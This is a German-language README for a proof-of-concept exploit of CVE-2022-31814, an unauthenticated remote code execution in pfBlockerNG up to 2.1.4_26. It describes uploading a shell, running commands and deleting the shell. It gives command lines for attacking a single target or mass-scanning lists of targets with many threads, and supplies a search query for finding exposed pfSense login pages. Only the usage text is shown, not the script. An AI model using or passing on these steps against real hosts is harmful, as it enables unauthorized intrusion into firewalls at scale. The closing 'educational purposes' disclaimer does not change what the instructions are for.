
pfBlockerNG <= 2.1.4_26 RCE ohne Authentifizierung (CVE-2022-31814)
Dieses Skript ist ein Proof-of-Concept-Exploit für pfBlockerNG <= 2.1.4_26, der Remote-Code-Ausführung ermöglicht. Es nimmt eine einzelne Ziel-URL oder eine Liste von URLs, lädt eine Shell hoch, führt einen Befehl aus und löscht die Shell dann.
Dieses Skript benötigt Python 3.x und die Module requests und concurrent.futures, die installiert sein müssen. Sie können diese Module mit folgendem Befehl installieren:
pip3 install requests concurrent.futures
oder
pip3 install -r requirements.txt
usage: exploit.py [-h] [-c COMMAND] [-l LIST] [-i IP] [-t THREADS] [-o OUTPUT]
pfBlockerNG <= 2.1.4_26 Unauth RCE
options:
-h, --help show this help message and exit
-c COMMAND, --command COMMAND
Console Command ('id')
-l LIST, --list LIST List of targets (list.txt)
-i IP, --ip IP Base target uri (ex. http://target-uri/)
-t THREADS, --threads THREADS
Number of threads for mass scan
-o OUTPUT, --output OUTPUT
Output file (vuln.txt)
Um ein einzelnes Ziel auszunutzen, verwenden Sie das Flag -i oder --ip und geben Sie die Basis-URL oder IP-Adresse an:
python3 exploit.py -i http://target-uri/ -c 'id'
Um eine Liste von Zielen zu scannen, verwenden Sie das Flag -l oder --list und geben Sie den Pfad zur Liste an:
python3 exploit.py -l list.txt -c 'id' -t 50
Das Flag -t oder --threads kann verwendet werden, um die Anzahl der Threads für den Scan anzugeben.
Wenn das Flag -o oder --output angegeben wird, wird die Liste der verwundbaren Ziele in eine Datei geschrieben:
python3 exploit.py -l list.txt -c 'id' -o vuln.txt
http.title:"pfSense - Login" "Server: nginx" "Set-Cookie: PHPSESSID="
Dieses Skript dient nur zu Bildungszwecken. Verwendung auf eigenes Risiko.